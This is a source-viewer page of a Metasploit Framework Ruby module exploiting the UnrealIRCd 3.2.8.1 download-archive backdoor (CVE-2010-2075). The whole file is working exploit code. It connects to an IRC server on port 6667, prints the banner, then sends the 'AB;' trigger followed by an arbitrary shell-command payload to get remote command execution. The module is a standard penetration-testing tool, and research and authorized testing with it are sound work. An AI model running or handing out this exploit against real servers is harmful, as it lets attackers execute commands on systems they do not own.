root / modules / exploits / unix / irc / unreal_ircd_3281_backdoor.rb @ master
History | View | Annotate | Download (1.8 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
|
| 16 |
class Metasploit3 < Msf::Exploit::Remote |
| 17 |
Rank = ExcellentRanking |
| 18 |
|
| 19 |
include Msf::Exploit::Remote::Tcp |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a malicious backdoor that was added to the |
| 26 |
Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the |
| 27 |
Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010. |
| 28 |
},
|
| 29 |
'Author' => [ 'hdm' ], |
| 30 |
'License' => MSF_LICENSE, |
| 31 |
'Version' => '$Revision$', |
| 32 |
'References' =>
|
| 33 |
[ |
| 34 |
[ 'CVE', '2010-2075' ], |
| 35 |
[ 'OSVDB', '65445' ], |
| 36 |
[ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ] |
| 37 |
], |
| 38 |
'Platform' => ['unix'], |
| 39 |
'Arch' => ARCH_CMD, |
| 40 |
'Privileged' => false, |
| 41 |
'Payload' =>
|
| 42 |
{
|
| 43 |
'Space' => 1024, |
| 44 |
'DisableNops' => true, |
| 45 |
'Compat' =>
|
| 46 |
{
|
| 47 |
'PayloadType' => 'cmd', |
| 48 |
'RequiredCmd' => 'generic perl ruby bash telnet', |
| 49 |
} |
| 50 |
}, |
| 51 |
'Targets' =>
|
| 52 |
[ |
| 53 |
[ 'Automatic Target', { }]
|
| 54 |
], |
| 55 |
'DefaultTarget' => 0, |
| 56 |
'DisclosureDate' => 'Jun 12 2010')) |
| 57 |
|
| 58 |
register_options( |
| 59 |
[ |
| 60 |
Opt::RPORT(6667) |
| 61 |
], self.class)
|
| 62 |
end
|
| 63 |
|
| 64 |
def exploit |
| 65 |
connect |
| 66 |
|
| 67 |
print_status("Connected to #{rhost}:#{rport}...")
|
| 68 |
banner = sock.get_once(-1, 30) |
| 69 |
banner.to_s.split("\n").each do |line| |
| 70 |
print_line(" #{line}")
|
| 71 |
end
|
| 72 |
|
| 73 |
print_status("Sending backdoor command...")
|
| 74 |
sock.put("AB;" + payload.encoded + "\n") |
| 75 |
|
| 76 |
handler |
| 77 |
disconnect |
| 78 |
end
|
| 79 |
end
|